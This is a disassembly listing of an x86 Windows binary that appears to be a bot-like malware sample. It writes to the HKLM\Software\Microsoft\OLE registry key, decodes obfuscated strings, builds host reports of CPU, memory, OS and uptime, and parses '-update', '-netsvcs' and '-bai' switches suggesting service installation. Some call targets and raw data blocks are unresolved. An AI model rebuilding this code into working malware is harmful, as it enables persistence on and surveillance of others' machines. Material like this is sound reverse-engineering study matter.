		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3DA4B7E8h
		dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0ACF5E890h, 548D023Ch, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3DA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
		dd 23CABAFh, 1024448Dh,	78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 0E850FFFFh
		dd 23DA234h, 6A006A90h,	6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23CAA6Fh,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 3DA0E7E8h, 6A9002h, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 20E89050h, 8D023CA9h, 8D102454h, 5278244Ch, 0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 9FA6E890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 0E0E89050h, 8D023CA7h, 8D102444h, 5078244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 27D0802h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F60
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27D0802h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2810000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2800000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 27F106Eh
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2920000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
